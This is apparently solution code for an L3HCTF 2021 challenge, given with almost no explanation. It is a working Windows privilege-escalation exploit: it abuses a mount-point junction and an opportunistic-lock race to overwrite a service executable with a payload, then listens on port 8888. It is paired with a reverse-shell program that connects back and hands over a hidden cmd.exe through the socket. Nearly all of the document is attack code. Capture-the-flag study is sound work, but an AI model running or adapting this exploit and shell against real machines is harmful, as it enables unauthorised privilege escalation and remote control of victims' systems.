L3HCTF2021

#include "stdafx.h"

#include <shobjidl_core.h>

#include <CommonUtils.h>

#pragma comment (lib,"Ws2_32.lib")


#define NUM 5


void END(SOCKET& ListenSocket, SOCKET& ClientSocket)
{

	closesocket(ListenSocket);
	closesocket(ClientSocket);
	WSACleanup();
    
}

int get_shell()
{

	WSADATA wsaData;
	char buf[0x1000] = {
	0 };
	char getbuf[0x1000] = {
	0 };

	int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
	if (iResult != 0) {
		printf("[-] ERROR code：%d\n", iResult);
		return 1;
	}

	SOCKET ListenSocket, ClientSocket;
	ListenSocket = socket(AF_INET, SOCK_STREAM, 0);

	sockaddr_in addr, addr2;
	addr.sin_family = AF_INET;
	addr.sin_port = htons(8888);
	addr.sin_addr.S_un.S_addr = INADDR_ANY;
	addr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
	int addr2Len = sizeof(addr2);

	bind(ListenSocket, (sockaddr*)&addr, sizeof(addr));
	int ret = listen(ListenSocket, NUM);

	if (ret == 0) {
		printf("[+] Wating for connecting ...\n");
	}
	ClientSocket = accept(ListenSocket, (sockaddr*)&addr2, &addr2Len);

	if (ClientSocket != NULL)
	{
		memset(getbuf, 0, sizeof(getbuf));
		iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
		printf("%s", getbuf);
		memset(getbuf, 0, sizeof(getbuf));
		iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
		printf("%s", getbuf);
		memset(getbuf, 0, sizeof(getbuf));
		iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
		printf("%s", getbuf);

	}

	while (1)
	{

		memset(getbuf, 0, sizeof(buf));
		fgets(buf, 0x100, stdin);
		iResult = send(ClientSocket, buf, sizeof(buf), 0);
		if (iResult == SOCKET_ERROR)
		{

			printf("[-] send ERROR: %d", WSAGetLastError());
			END(ListenSocket, ClientSocket);
			return 1;

		}

		memset(getbuf, 0, sizeof(getbuf));
		iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
		iResult = recv(ClientSocket, getbuf, sizeof(getbuf), 0);
		if (iResult == SOCKET_ERROR)
		{

			printf("[-] recv ERROR: %d", WSAGetLastError());
			END(ListenSocket, ClientSocket);
			return 1;

		}
		printf("%s\n", getbuf);
		fflush(stdout);
		fflush(stderr);
        
	}
	return 0;
}


class FileOpLock
{
public:
	typedef void(*UserCallback)();

	static FileOpLock* CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb);
	void WaitForLock(UINT Timeout);

	~FileOpLock();
private:

	HANDLE g_hFile;
	OVERLAPPED g_o;
	REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer;
	REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer;
	HANDLE g_hLockCompleted;
	PTP_WAIT g_wait;
	UserCallback _cb;

	FileOpLock(UserCallback cb);

	static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance,
		PVOID Parameter, PTP_WAIT Wait,
		TP_WAIT_RESULT WaitResult);

	void DoWaitCallback();

	bool BeginLock(const std::wstring& name, DWORD dwShareMode, bool exclusive);

};

static FileOpLock* oplock = nullptr;


LPCWSTR lock;
LPCWSTR symlink;
LPCWSTR target;
LPCWSTR sys;
LPCWSTR shell;
LPCWSTR tmp;

void HandleOplock()
{
	DebugPrintf("OpLock triggered, hit ENTER to close oplock\n");
	getc(stdin);

	printf("[+] Change symlink\n");
	if (CreateDirectory(symlink, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))
	{
		if (!ReparsePoint::CreateMountPoint(symlink, sys, L""))
		{
			printf("Error creating mount point - %d\n", GetLastError());
			exit(-1);
		}
	}
	else
	{
		printf("nofuck Error creating directory - %d\n", GetLastError());
	}
}


int _tmain(int argc, _TCHAR* argv[])
{
	symlink = argv[1];
	target = argv[2];
	lock = argv[3];
	shell = argv[4];
	sys = L"C:\\Windows\\System32";

	if (argc < 5)
	{
		printf("CreateMountPoint.exe symlink target lock shell\n");
		return 1;
	}

	
	
	CreateDirectory(target, 0);
	if (CreateDirectory(symlink, nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS))
	{
		printf("[+] Create symlink\n");
		if (!ReparsePoint::CreateMountPoint(symlink, target, L""))
		{
			printf("Error creating mount point - %d\n", GetLastError());
			exit(-1);
		}

		printf("[+] Create fake vul_service.exe\n");
		HANDLE handle = CreateFile(lock, GENERIC_READ, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
		CloseHandle(handle);

		printf("[+] Lock\n");
		LPCWSTR share_mode = L"RW";
		oplock = FileOpLock::CreateLock(lock, share_mode, HandleOplock);
		if (oplock != nullptr)
		{
			oplock->WaitForLock(INFINITE);

			delete oplock;
		}
		else
		{
			printf("Error creating oplock\n");
			return 1;
		}

		printf("[+]load shell\n");
		Sleep(1000);

		HANDLE lock_handler = CreateFile(lock, GENERIC_WRITE, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
		if (lock_handler == INVALID_HANDLE_VALUE)
		{
			printf("Error open lock, %d\n", GetLastError());
			return 1;
		}
		HANDLE shell_handler = CreateFile(shell, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
		if (shell_handler == INVALID_HANDLE_VALUE)
		{
			printf("Error open shell, %d\n", GetLastError());
			return 1;
		}

		DWORD szr = GetFileSize(shell_handler, 0);
		DWORD szw = szr;
		PTCHAR p = (PTCHAR)malloc(szr);

		ReadFile(shell_handler, p, szr, &szr, 0);
		WriteFile(lock_handler, p, szw, &szw, 0);

		CloseHandle(lock_handler);
		CloseHandle(shell_handler);
		
		printf("OK\n");
		get_shell();
		
		
	}
	else
	{
		printf("nofuck Error creating directory - %d\n", GetLastError());
	}

	return 0;
}

#include <WinSock2.h>

#include <winsock.h>

#include <stdio.h>

#pragma comment(lib,"ws2_32.lib")

#pragma comment(lib,"ws2_32.lib")


int main(int argc, char* argv[])
{
    WSADATA wsd;
    WSAStartup(0x0202, &wsd);
    SOCKET socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    SOCKADDR_IN sin;
    sin.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
    sin.sin_port = htons(8888);
    sin.sin_family = AF_INET;
    
    printf("conncting...");
    int ret = connect(socket, (sockaddr*)&sin, sizeof(sin));
    if(ret!=0)
    {
        printf("[-] Error connect : %d\n", WSAGetLastError());
        getc(stdin);
    }

    send(socket, "[+] Connected\n", strlen("[+] Connected\n"), 0);

    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    GetStartupInfo(&si);
    si.cb = sizeof(STARTUPINFO);
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)socket;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    TCHAR cmdline[255] = L"cmd.exe";
    while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi)) {
        Sleep(1000);
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

	return 0;
}